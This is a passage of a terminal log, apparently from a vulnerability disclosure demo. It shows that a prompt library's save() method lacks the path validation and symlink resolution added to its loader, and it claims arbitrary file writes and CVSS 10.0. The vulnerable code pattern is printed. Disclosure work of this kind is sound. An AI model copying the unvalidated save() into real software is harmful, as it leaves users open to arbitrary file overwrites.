MISSING if resolved_path.suffix not in (".json", ".yaml", ".yml"): raise ValueError( f"File {resolved_path} must have .json, .yaml, or .yml extension. " f"Set allow_dangerous_paths=True if you trust this file." ) # ... existing save logic """) print("\nBut instead it's just:") print(""" def save(self, file_path: Path | str): path = Path(file_path) # ← NO VALIDATION! # ← NO SYMLINK RESOLUTION! # ← NO allow_dangerous_paths! with path.open("w", encoding="utf-8") as f: if path.suffix == ".json": json.dump(prompt_dict, f, indent=4) elif path.suffix.endswith((".yaml", ".yml")): yaml.dump(prompt_dict, f, default_flow_style=False) sleep 3 show_missing.pyError(f"{path} must be json or yaml") # PART 4: What's Missing in save() # ================================= # Let's look at what save() SHOULD have but doesn't: Comparing save() vs load_prompt_from_config(): save() signature: (self, file_path: 'Path | str') -> 'None' Parameters: ['self', 'file_path'] Missing: allow_dangerous_paths parameter Missing: Path.resolve() call Missing: _validate_path() call What save() SHOULD look like: def save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False): path = Path(file_path) if not allow_dangerous_paths: _validate_path(path) # ← MISSING resolved_path = path.resolve() # ← MISSING if resolved_path.suffix not in (".json", ".yaml", ".yml"): raise ValueError( f"File {resolved_path} must have .json, .yaml, or .yml extension. " f"Set allow_dangerous_paths=True if you trust this file." ) # ... existing save logic But instead it's just: def save(self, file_path: Path | str): path = Path(file_path) # ← NO VALIDATION! # ← NO SYMLINK RESOLUTION! # ← NO allow_dangerous_paths! with path.open("w", encoding="utf-8") as f: if path.suffix == ".json": json.dump(prompt_dict, f, indent=4) elif path.suffix.endswith((".yaml", ".yml")): yaml.dump(prompt_dict, f, default_flow_style=False) else: raise ValueError(f"{path} must be json or yaml") root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# echo "" echo "# PART 5: Summary & Impact" echo "# ========================" echo "" echo "# SUMMARY:" echo "# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)" echo "# ❌ save() - STILL VULNERABLE (no protections at all)" echo "" echo "# IMPACT:" echo "# 1. Attackers can write ANY .json/.yaml file ANYWHERE" echo "# 2. Scope Change still possible (library modification)" echo "# 3. No path validation or symlink resolution" echo "# 4. CVSS 10.0 still applies for WRITE attacks" echo "" echo "# RECOMMENDATION:" echo "# 1. Apply same fixes to save()" echo "# 2. Issue Security Advisory" echo "# 3. Assign CVE for incomplete fix" echo "" echo "====================================================================================" echo " Demonstration Complete" echo "====================================================================================" # PART 5: Summary & Impact # ======================== # SUMMARY: # ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True) # ❌ save() - STILL VULNERABLE (no protections at all) # IMPACT: # 1. Attackers can write ANY .json/.yaml file ANYWHERE # 2. Scope Change still possible (library modification) # 3. No path validation or symlink resolution # 4. CVSS 10.0 still applies for WRITE attacks # RECOMMENDATION: # 1. Apply same fixes to save() # 2. Issue Security Advisory # 3. Assign CVE for incomplete fix ==================================================================================== Demonstration Complete ==================================================================================== root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# echo "" echo "# Cleaning up test files..." rm -f test_read.py test_write.py real_attack.py show_missing.py echo "# Done!" exit # Cleaning up test files... # Done! exit vboxuser@Ubuntu-Server:~$ exit vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$